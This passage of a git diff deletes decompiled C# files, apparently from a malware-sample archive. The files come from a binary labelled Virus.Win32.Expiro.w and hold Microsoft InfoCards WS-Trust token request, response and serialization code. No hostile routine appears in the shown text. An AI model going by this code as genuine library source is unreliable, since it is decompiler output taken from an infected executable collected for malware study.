this.m_cultureInfo; - - public string Context => this.m_context; - - public Dictionary DisclosedClaims => this.m_disclosedClaims; - - public ProtocolProfile Profile => this.m_profile; - - public RequestSecurityTokenParameters( - AddressingVersion version, - InfoCard card, - InfoCardPolicy policy, - bool discloseOptionalClaims, - RSAKeyValue rsaKeyValue, - Dictionary disclosedClaims, - string context, - byte[] clientEntropyForSymmetric, - CultureInfo displayCulture) - { - this.m_card = card; - this.m_policy = policy; - this.m_discloseOptionalClaims = discloseOptionalClaims; - this.m_rsaKeyValue = rsaKeyValue; - this.m_clientEntropyForSymmetric = clientEntropyForSymmetric; - this.m_profile = policy.ProtocolVersionProfile; - InfoCardTrace.Assert(this.m_rsaKeyValue == null && this.m_clientEntropyForSymmetric != null || this.m_rsaKeyValue == null && this.m_clientEntropyForSymmetric == null || this.m_rsaKeyValue != null && null == this.m_clientEntropyForSymmetric, "The three allowed cases are symmetric, noProofKey, asymmetric"); - this.m_disclosedClaims = disclosedClaims; - this.m_addressingVersion = version; - this.m_context = context; - this.m_cultureInfo = displayCulture; - } - - public RequestSecurityTokenParameters( - AddressingVersion addressing, - GetBrowserTokenParameters parameters, - ProtocolProfile profile, - InfoCardPolicy policy, - bool discloseOptionalClaims) - { - this.m_browserTokenParams = parameters; - this.m_addressingVersion = addressing; - this.m_policy = policy; - this.m_discloseOptionalClaims = discloseOptionalClaims; - this.m_context = Guid.NewGuid().ToString(); - this.m_profile = profile; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RequestSecurityTokenResponseHelper.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RequestSecurityTokenResponseHelper.cs deleted file mode 100644 index b5557f2d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RequestSecurityTokenResponseHelper.cs +++ /dev/null @@ -1,464 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RequestSecurityTokenResponseHelper -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.IdentityModel.Policy; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.Security.Cryptography; -using System.ServiceModel.Security.Tokens; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal static class RequestSecurityTokenResponseHelper - { - private static SecurityToken s_noProofToken = (SecurityToken) new UserNameSecurityToken("noproof", "noproof", "noproof"); - - private static RequestSecurityTokenResponseHelper.RequestSecurityTokenResponse ReadRequestSecurityTokenResponse( - XmlDictionaryReader reader, - SecurityTokenSerializer tokenSerializer, - SecurityTokenResolver resolver, - ProtocolProfile profile) - { - InfoCardTrace.Assert(null != reader, "null reader"); - InfoCardTrace.Assert(null != tokenSerializer, "null tokenSerializer"); - RequestSecurityTokenResponseHelper.RequestSecurityTokenResponse securityTokenResponse = new RequestSecurityTokenResponseHelper.RequestSecurityTokenResponse(); - if (XmlNames.WSSpecificationVersion.WSTrustOasis2007 == profile.WSTrust.Version) - reader.ReadFullStartElement(profile.WSTrust.RequestSecurityTokenResponseCollection, profile.WSTrust.Namespace); - reader.ReadFullStartElement(profile.WSTrust.RequestSecurityTokenResponse, profile.WSTrust.Namespace); - bool flag1 = false; - bool flag2 = false; - bool flag3 = false; - bool flag4 = false; - bool flag5 = false; - bool flag6 = false; - bool flag7 = false; - bool flag8 = false; - bool flag9 = false; - bool flag10 = false; - bool flag11 = false; - securityTokenResponse.Created = DateTime.UtcNow; - securityTokenResponse.Expires = new DateTime(DateTime.MaxValue.Ticks - TimeSpan.FromDays(2.0).Ticks, DateTimeKind.Utc); - if (!reader.IsStartElement()) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("ServiceSTSCommunicationFailed"))); - while (reader.IsStartElement()) - { - if (reader.IsStartElement(profile.WSTrust.TokenType, profile.WSTrust.Namespace)) - { - if (flag1) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleTokenTypeElementsFound"))); - securityTokenResponse.TokenType = reader.ReadElementString(); - flag1 = true; - } - else if (reader.IsStartElement(profile.WSTrust.KeySize, profile.WSTrust.Namespace)) - { - if (flag3) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleKeySizeElementsFound"))); - int num = reader.ReadElementContentAsInt(); - securityTokenResponse.KeySize = num > 0 ? num : throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("KeySizeMustBeGreaterThanZero"))); - flag3 = true; - } - else if (reader.IsStartElement(profile.WSTrust.KeyType, profile.WSTrust.Namespace)) - { - if (flag2) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleKeySizeElementsFound"))); - string uriString = reader.ReadElementContentAsString(); - Uri uri = new Uri(uriString); - if (profile.WSTrust.KeyTypeSymmetric.Equals((object) uri)) - securityTokenResponse.KeyType = new SecurityKeyTypeInternal?(SecurityKeyTypeInternal.SymmetricKey); - else if (profile.WSTrust.KeyTypeAsymmetric.Equals((object) uri)) - securityTokenResponse.KeyType = new SecurityKeyTypeInternal?(SecurityKeyTypeInternal.AsymmetricKey); - else if (profile.WSTrust.KeyTypeBearer.Equals((object) uri)) - securityTokenResponse.KeyType = new SecurityKeyTypeInternal?(SecurityKeyTypeInternal.NoKey); - else - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("KeyTypeNotRecognized", (object) uriString))); - flag2 = true; - } - else if (reader.IsStartElement(profile.WSTrust.Lifetime, profile.WSTrust.Namespace)) - { - if (flag6) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleLifetimeElementsFound"))); - reader.ReadStartElement(); - if (reader.IsStartElement("Created", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd")) - securityTokenResponse.Created = reader.ReadElementContentAsDateTime().ToUniversalTime(); - if (reader.IsStartElement("Expires", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd")) - securityTokenResponse.Expires = reader.ReadElementContentAsDateTime().ToUniversalTime(); - reader.ReadEndElement(); - flag6 = true; - } - else if (reader.IsStartElement(profile.WSTrust.RequestedSecurityToken, profile.WSTrust.Namespace)) - { - if (flag7) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleRequestedSecurityTokenElementsFound"))); - reader.ReadStartElement(); - reader.MoveToElement(); - XmlDocument xmlDocument = new XmlDocument(); - securityTokenResponse.IssuedTokenElement = xmlDocument.ReadNode((XmlReader) reader) as XmlElement; - reader.ReadEndElement(); - flag7 = true; - } - else if (reader.IsStartElement(profile.WSTrust.RequestedProofToken, profile.WSTrust.Namespace)) - { - if (flag8) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleRequestedProofTokenElementsFound"))); - reader.ReadStartElement(); - if (reader.IsStartElement(profile.WSTrust.ComputedKey, profile.WSTrust.Namespace)) - { - securityTokenResponse.ComputedKeyAlgorithm = reader.ReadElementString(); - if (profile.WSTrust.ComputedKeyAlgorithm != securityTokenResponse.ComputedKeyAlgorithm) - throw InfoCardTrace.ThrowHelperError((Exception) new NotImplementedException(SR.GetString("OnlyPSha1SupportedCurrently", (object) securityTokenResponse.ComputedKeyAlgorithm))); - } - else - securityTokenResponse.ProofToken = tokenSerializer.ReadToken((XmlReader) reader, resolver); - reader.ReadEndElement(); - flag8 = true; - } - else if (reader.IsStartElement(profile.WSTrust.Entropy, profile.WSTrust.Namespace)) - { - if (flag10) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleEntropyElementsFound"))); - reader.ReadStartElement(); - securityTokenResponse.EntropyToken = tokenSerializer.ReadToken((XmlReader) reader, resolver); - reader.ReadEndElement(); - flag10 = true; - } - else if (reader.IsStartElement("RequestedDisplayToken", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - { - if (flag9) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleRequestedDisplayTokenElementsFound"))); - securityTokenResponse.DisplayToken = RequestSecurityTokenResponseHelper.CreateDisplayToken(reader); - flag9 = true; - } - else if (reader.IsStartElement(profile.WSTrust.RequestedAttachedReference, profile.WSTrust.Namespace)) - { - if (flag4) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleRequestedAttachedReferenceElementsFound"))); - reader.ReadStartElement(); - securityTokenResponse.RequestedAttachedReference = tokenSerializer.ReadKeyIdentifierClause((XmlReader) reader); - reader.ReadEndElement(); - flag4 = true; - } - else if (reader.IsStartElement(profile.WSTrust.RequestedUnattachedReference, profile.WSTrust.Namespace)) - { - if (flag5) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleRequestedUnattachedReferenceElementsFound"))); - reader.ReadStartElement(); - securityTokenResponse.RequestedUnattachedReference = tokenSerializer.ReadKeyIdentifierClause((XmlReader) reader); - reader.ReadEndElement(); - flag5 = true; - } - else if (reader.IsStartElement(profile.WSTrust.RequestType, profile.WSTrust.Namespace)) - { - if (flag11) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleRequestTypeElementsFound"))); - securityTokenResponse.RequestType = reader.ReadElementContentAsString(); - if (profile.WSTrust.IssueRequestType != securityTokenResponse.RequestType) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("OnlyIssueRequestTypeSupported", (object) securityTokenResponse.RequestType, (object) profile.WSTrust.IssueRequestType))); - flag11 = true; - } - else - reader.Skip(); - } - reader.ReadEndElement(); - if (XmlNames.WSSpecificationVersion.WSTrustOasis2007 == profile.WSTrust.Version) - { - if (!(profile.WSTrust.RequestSecurityTokenResponseCollection == reader.LocalName) || !(profile.WSTrust.Namespace == reader.NamespaceURI) || reader.NodeType != XmlNodeType.EndElement) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("ServiceSTSCommunicationFailed"))); - reader.ReadEndElement(); - } - return securityTokenResponse; - } - - public static GenericXmlSecurityToken ProcessBearerTokenData( - XmlDictionaryReader reader, - SecurityTokenSerializer tokenSerializer, - SecurityTokenResolver resolver, - ProtocolProfile profile, - out DisplayToken displayToken) - { - RequestSecurityTokenResponseHelper.RequestSecurityTokenResponse securityTokenResponse = RequestSecurityTokenResponseHelper.ReadRequestSecurityTokenResponse(reader, tokenSerializer, resolver, profile); - displayToken = securityTokenResponse.DisplayToken ?? new DisplayToken(); - securityTokenResponse.ValidateRstrContents(SecurityKeyTypeInternal.NoKey); - SecurityToken noProofToken = RequestSecurityTokenResponseHelper.s_noProofToken; - return new GenericXmlSecurityToken(securityTokenResponse.IssuedTokenElement, noProofToken, securityTokenResponse.Created, securityTokenResponse.Expires, securityTokenResponse.RequestedAttachedReference, securityTokenResponse.RequestedUnattachedReference, (ReadOnlyCollection) null); - } - - public static GenericXmlSecurityToken ProcessSymmetricTokenData( - XmlDictionaryReader reader, - SecurityTokenSerializer tokenSerializer, - SecurityTokenResolver resolver, - byte[] clientEntropyForSymmetric, - ProtocolProfile profile, - out DisplayToken displayToken) - { - RequestSecurityTokenResponseHelper.RequestSecurityTokenResponse securityTokenResponse = RequestSecurityTokenResponseHelper.ReadRequestSecurityTokenResponse(reader, tokenSerializer, resolver, profile); - displayToken = securityTokenResponse.DisplayToken ?? new DisplayToken(); - securityTokenResponse.ValidateRstrContents(SecurityKeyTypeInternal.SymmetricKey); - if (securityTokenResponse.EntropyToken != null) - { - InfoCardTrace.Assert(profile.WSTrust.ComputedKeyAlgorithm == securityTokenResponse.ComputedKeyAlgorithm, "We already made sure it is PSHA1 while processing RSTR"); - if (!(securityTokenResponse.EntropyToken is BinarySecretSecurityToken entropyToken)) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("InvalidEntropyContents"))); - int num = clientEntropyForSymmetric.Length * 8; - if (securityTokenResponse.GetIntelligentKeySize(true, num) != num) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException("SymmetricProofKeyLengthMismatch")); - byte[] combinedKey = RequestSecurityTokenResponseHelper.RequestSecurityTokenResponse.ComputeCombinedKey(clientEntropyForSymmetric, entropyToken.GetKeyBytes(), num); - securityTokenResponse.ProofToken = (SecurityToken) new BinarySecretSecurityToken(combinedKey); - } - else if (securityTokenResponse.ProofToken == null) - { - byte[] key = clientEntropyForSymmetric; - securityTokenResponse.ProofToken = (SecurityToken) new BinarySecretSecurityToken(key); - } - return new GenericXmlSecurityToken(securityTokenResponse.IssuedTokenElement, securityTokenResponse.ProofToken, securityTokenResponse.Created, securityTokenResponse.Expires, securityTokenResponse.RequestedAttachedReference, securityTokenResponse.RequestedUnattachedReference, (ReadOnlyCollection) null); - } - - public static GenericXmlSecurityToken ProcessAsymmetricTokenData( - XmlDictionaryReader reader, - RSA rsa, - SecurityTokenSerializer tokenSerializer, - SecurityTokenResolver resolver, - ProtocolProfile profile, - out DisplayToken displayToken) - { - InfoCardTrace.Assert(null != rsa, "null rsa"); - RequestSecurityTokenResponseHelper.RequestSecurityTokenResponse securityTokenResponse = RequestSecurityTokenResponseHelper.ReadRequestSecurityTokenResponse(reader, tokenSerializer, resolver, profile); - displayToken = securityTokenResponse.DisplayToken ?? new DisplayToken(); - securityTokenResponse.ValidateRstrContents(SecurityKeyTypeInternal.AsymmetricKey); - SecurityToken proofToken = (SecurityToken) new RsaSecurityToken(rsa); - return new GenericXmlSecurityToken(securityTokenResponse.IssuedTokenElement, proofToken, securityTokenResponse.Created, securityTokenResponse.Expires, securityTokenResponse.RequestedAttachedReference, securityTokenResponse.RequestedUnattachedReference, (ReadOnlyCollection) null); - } - - private static DisplayToken CreateDisplayToken(XmlDictionaryReader reader) - { - InfoCardTrace.Assert(null != reader, "null reader"); - DisplayToken displayToken = new DisplayToken(); - XmlReader reader1 = InfoCardSchemas.CreateReader(reader.ReadOuterXml()); - try - { - reader1.ReadStartElement("RequestedDisplayToken", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - reader1.ReadStartElement("DisplayToken", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - while (reader1.IsStartElement()) - { - if (reader1.IsStartElement("DisplayClaim", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - { - List claimList = new List(); - while (reader1.IsStartElement()) - { - if (reader1.IsStartElement("DisplayClaim", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - { - DisplayClaim displayClaim = RequestSecurityTokenResponseHelper.ReadDisplayClaim(reader1); - if (displayClaim != null) - claimList.Add(displayClaim); - } - else - reader1.Skip(); - } - displayToken = new DisplayToken(claimList); - } - else if (reader1.IsStartElement("DisplayTokenText", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - { - string attribute = reader1.GetAttribute("MimeType"); - string displayString = reader1.ReadElementContentAsString(); - if (!string.IsNullOrEmpty(displayString) && !string.IsNullOrEmpty(attribute)) - displayToken = new DisplayToken(displayString, attribute); - } - else - reader1.Skip(); - } - reader1.ReadEndElement(); - reader1.ReadEndElement(); - } - catch (Exception ex) - { - displayToken = (DisplayToken) null; - if (InfoCardTrace.IsFatal(ex)) - throw; - } - return displayToken; - } - - private static DisplayClaim ReadDisplayClaim(XmlReader reader) - { - if (!reader.IsStartElement("DisplayClaim", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("UnexpectedElement"))); - string name = string.Empty; - List stringList = new List(); - string description = string.Empty; - string empty = string.Empty; - string attribute = reader.GetAttribute("Uri", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (string.IsNullOrEmpty(attribute)) - attribute = reader.GetAttribute("Uri"); - bool isEmptyElement = reader.IsEmptyElement; - reader.ReadStartElement(); - if (!isEmptyElement) - { - while (reader.IsStartElement()) - { - if (reader.IsStartElement("DisplayTag", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - name = reader.ReadElementContentAsString(); - else if (reader.IsStartElement("DisplayValue", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - stringList.Add(reader.ReadElementContentAsString()); - else if (reader.IsStartElement("Description", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - description = reader.ReadElementContentAsString(); - else - reader.Skip(); - } - reader.ReadEndElement(); - } - return new DisplayClaim(name, stringList, description, attribute); - } - - private class RequestSecurityTokenResponse - { - private int m_keySize; - private bool m_keySizeSpecified; - private DateTime m_created = DateTime.UtcNow; - private DateTime m_expires = DateTime.UtcNow.AddHours(1.0); - private string m_requestType; - private SecurityKeyIdentifierClause m_requestedAttachedReference; - private SecurityKeyIdentifierClause m_requestedUnattachedReference; - private SecurityToken m_entropyToken; - private string m_computedKeyAlgorithm; - private DisplayToken m_displayToken; - private SecurityKeyTypeInternal? m_keyType; - private string m_tokenType; - private XmlElement m_issuedTokenElement; - private SecurityToken m_proofToken; - - public int KeySize - { - set - { - this.m_keySize = value; - this.m_keySizeSpecified = true; - } - } - - public int GetIntelligentKeySize(bool symmetric, int rstKeySize) - { - if (!symmetric) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException()); - return !this.m_keySizeSpecified ? rstKeySize : this.m_keySize; - } - - public SecurityKeyTypeInternal? KeyType - { - get => this.m_keyType; - set => this.m_keyType = value; - } - - public DateTime Created - { - get => this.m_created; - set => this.m_created = value; - } - - public DateTime Expires - { - get => this.m_expires; - set => this.m_expires = value; - } - - public SecurityKeyIdentifierClause RequestedAttachedReference - { - get => this.m_requestedAttachedReference; - set => this.m_requestedAttachedReference = value; - } - - public SecurityKeyIdentifierClause RequestedUnattachedReference - { - get => this.m_requestedUnattachedReference; - set => this.m_requestedUnattachedReference = value; - } - - public string TokenType - { - set => this.m_tokenType = value; - } - - public SecurityToken EntropyToken - { - get => this.m_entropyToken; - set => this.m_entropyToken = value; - } - - public string ComputedKeyAlgorithm - { - get => this.m_computedKeyAlgorithm; - set => this.m_computedKeyAlgorithm = value; - } - - public DisplayToken DisplayToken - { - get => this.m_displayToken; - set => this.m_displayToken = value; - } - - public XmlElement IssuedTokenElement - { - get => this.m_issuedTokenElement; - set => this.m_issuedTokenElement = value; - } - - public SecurityToken ProofToken - { - get => this.m_proofToken; - set => this.m_proofToken = value; - } - - public string RequestType - { - get => this.m_requestType; - set => this.m_requestType = value; - } - - public static byte[] ComputeCombinedKey( - byte[] requestorEntropy, - byte[] issuerEntropy, - int keySize) - { - if (requestorEntropy == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (requestorEntropy)); - if (issuerEntropy == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (issuerEntropy)); - InfoCardTrace.Assert(keySize > 0, "Keysize must be > 0"); - return new Psha1DerivedKeyGenerator(requestorEntropy).GenerateDerivedKey(new byte[0], issuerEntropy, keySize, 0); - } - - public void ValidateRstrContents(SecurityKeyTypeInternal keyTypeExpected) - { - if (this.IssuedTokenElement == null) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("NoIssuedTokenXml"))); - if (this.KeyType.HasValue) - { - int num = (int) keyTypeExpected; - SecurityKeyTypeInternal? keyType = this.KeyType; - int valueOrDefault = (int) keyType.GetValueOrDefault(); - if ((num != valueOrDefault ? 1 : (!keyType.HasValue ? 1 : 0)) != 0) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("ProofKeyTypeMismatch"))); - } - if (keyTypeExpected == SecurityKeyTypeInternal.SymmetricKey) - return; - if (SecurityKeyTypeInternal.AsymmetricKey == keyTypeExpected) - { - if (this.ProofToken != null) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("ProofTokenXmlUnexpectedInRstr"))); - } - else - { - InfoCardTrace.Assert(SecurityKeyTypeInternal.NoKey == keyTypeExpected, "Bad enum member for SecurityKeyTypeInternal"); - if (this.ProofToken != null) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("ProofTokenXmlUnexpectedInRstr"))); - } - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RequestSecurityTokenSerializer.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RequestSecurityTokenSerializer.cs deleted file mode 100644 index cd2db875..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RequestSecurityTokenSerializer.cs +++ /dev/null @@ -1,212 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RequestSecurityTokenSerializer -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Globalization; -using System.IdentityModel.Tokens; -using System.IO; -using System.ServiceModel; -using System.ServiceModel.Channels; -using System.ServiceModel.Security.Tokens; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class RequestSecurityTokenSerializer - { - private XmlWriter m_writer; - private ProtocolProfile m_profile; - - public XmlWriter Writer => this.m_writer; - - public ProtocolProfile Profile => this.m_profile; - - private XmlNames.IWSTrust WSTrust => this.Profile.WSTrust; - - private XmlNames.IWSPolicy WSPolicy => this.Profile.WSPolicy; - - private string WSTPrefix => this.Profile.WSTrust.DefaultPrefix; - - private string WSIPrefix => "wsid"; - - private string WSPPrefix => this.Profile.WSPolicy.DefaultPrefix; - - private string DSIGPrefix => "dsig"; - - public RequestSecurityTokenSerializer(XmlWriter writer, ProtocolProfile profile) - { - this.m_writer = writer; - this.m_profile = profile; - } - - public void WriteClaimElement(string claimUri, bool bIsOptionalClaim) - { - this.Writer.WriteStartElement(this.WSIPrefix, "ClaimType", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - this.Writer.WriteAttributeString("Uri", claimUri); - if (bIsOptionalClaim) - this.Writer.WriteAttributeString("Optional", "true"); - this.Writer.WriteEndElement(); - } - - public void WriteClaimsElement( - Dictionary disclosedClaims, - string[] requiredClaims, - string[] optionalClaims) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.ClaimsElement, this.WSTrust.Namespace); - this.Writer.WriteAttributeString(this.WSTrust.Dialect, "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (disclosedClaims != null) - { - foreach (KeyValuePair disclosedClaim in disclosedClaims) - this.WriteClaimElement(disclosedClaim.Key, disclosedClaim.Value); - } - else - { - foreach (string requiredClaim in requiredClaims) - this.WriteClaimElement(requiredClaim, false); - foreach (string optionalClaim in optionalClaims) - this.WriteClaimElement(optionalClaim, true); - } - this.Writer.WriteEndElement(); - } - - public void WriteRequestTypeElement(string requestType) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.RequestType, this.WSTrust.Namespace); - this.Writer.WriteString(requestType); - this.Writer.WriteEndElement(); - } - - public void WritePPIDElement(byte[] ppid) - { - this.Writer.WriteStartElement("ClientPseudonym", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - this.Writer.WriteStartElement("PPID", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - this.Writer.WriteBase64(ppid, 0, ppid.Length); - this.Writer.WriteEndElement(); - this.Writer.WriteEndElement(); - } - - public void WriteAppliesToElement(EndpointAddress address, AddressingVersion version) - { - this.Writer.WriteStartElement(this.WSPPrefix, this.WSPolicy.AppliesTo, this.WSPolicy.Namespace); - address.WriteTo(version, this.Writer); - this.Writer.WriteEndElement(); - } - - public void WriteKeySizeElement(string keySize) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.KeySize, this.WSTrust.Namespace); - this.Writer.WriteString(keySize); - this.Writer.WriteEndElement(); - } - - public void WriteKeyTypeElement(string keyType) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.KeyType, this.WSTrust.Namespace); - this.Writer.WriteString(keyType); - this.Writer.WriteEndElement(); - } - - public void WriteUseKeyElement(XmlElement useKey) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.UseKey, this.WSTrust.Namespace); - this.Writer.WriteStartElement(this.DSIGPrefix, "KeyInfo", "http://www.w3.org/2000/09/xmldsig#"); - this.Writer.WriteStartElement(this.DSIGPrefix, "KeyValue", "http://www.w3.org/2000/09/xmldsig#"); - useKey.WriteContentTo(this.Writer); - this.Writer.WriteEndElement(); - this.Writer.WriteEndElement(); - this.Writer.WriteEndElement(); - } - - public void WriteBinarySecretElement(BinarySecretSecurityToken bst) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.Entropy, this.WSTrust.Namespace); - this.Profile.TokenSerializer.WriteToken(this.Writer, (SecurityToken) bst); - this.Writer.WriteEndElement(); - } - - public void WriteInfoCardReferenceElement(InfoCard card) - { - this.Writer.WriteStartElement(this.WSIPrefix, "InformationCardReference", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - this.Writer.WriteStartElement(this.WSIPrefix, "CardId", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - this.Writer.WriteString(card.Id.ToString()); - this.Writer.WriteEndElement(); - this.Writer.WriteStartElement(this.WSIPrefix, "CardVersion", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - this.Writer.WriteString(card.Epoch.ToString((IFormatProvider) CultureInfo.InvariantCulture)); - this.Writer.WriteEndElement(); - this.Writer.WriteEndElement(); - } - - public void WriteDisplayTokenElement(CultureInfo displayCulture) - { - this.Writer.WriteStartElement(this.WSIPrefix, "RequestDisplayToken", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - this.Writer.WriteAttributeString("xml", "lang", (string) null, displayCulture.TwoLetterISOLanguageName); - this.Writer.WriteEndElement(); - } - - public void WriteTokenTypeElement(string tokenType) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.TokenType, this.WSTrust.Namespace); - this.Writer.WriteString(tokenType); - this.Writer.WriteEndElement(); - } - - public void WriteEncryptionAlgorithmElement(string encryptionAlgorithm) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.EncryptionAlgorithm, this.WSTrust.Namespace); - this.Writer.WriteString(encryptionAlgorithm); - this.Writer.WriteEndElement(); - } - - public void WriteSignWithElement(string signWith) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.SignWith, this.WSTrust.Namespace); - this.Writer.WriteString(signWith); - this.Writer.WriteEndElement(); - } - - public void WriteEncryptWithElement(string encryptWith) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.EncryptWith, this.WSTrust.Namespace); - this.Writer.WriteString(encryptWith); - this.Writer.WriteEndElement(); - } - - public void WriteKeyWrapAlgorithmElement(string keyWrapAlgorithm) - { - InfoCardTrace.Assert(this.WSTrust.Version == XmlNames.WSSpecificationVersion.WSTrustOasis2007, "KeyWrapAlgorithm element is valid in WS-Trust 1.3 only"); - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.KeyWrapAlgorithm, this.WSTrust.Namespace); - this.Writer.WriteString(keyWrapAlgorithm); - this.Writer.WriteEndElement(); - } - - public void WriteUnprocessedPolicyElements(MemoryStream unprocessedElements) - { - unprocessedElements.Seek(0L, SeekOrigin.Begin); - XmlReader reader = XmlReader.Create((Stream) unprocessedElements, new XmlReaderSettings() - { - ConformanceLevel = ConformanceLevel.Fragment - }); - while (!reader.EOF) - this.Writer.WriteNode(reader, true); - } - - public void WriteSecondaryParametersElement(string policyXml) - { - InfoCardTrace.Assert(this.WSTrust.Version == XmlNames.WSSpecificationVersion.WSTrustOasis2007, "SecondaryParameters element is valid in WS-Trust 1.3 only"); - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.SecondaryParameters, this.WSTrust.Namespace); - XmlReader reader = XmlReader.Create((TextReader) new StringReader(policyXml), new XmlReaderSettings() - { - ConformanceLevel = ConformanceLevel.Fragment - }); - while (!reader.EOF) - this.Writer.WriteNode(reader, true); - this.Writer.WriteEndElement(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ResolvePPIDRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ResolvePPIDRequest.cs deleted file mode 100644 index ea16b2a5..00000000 --- 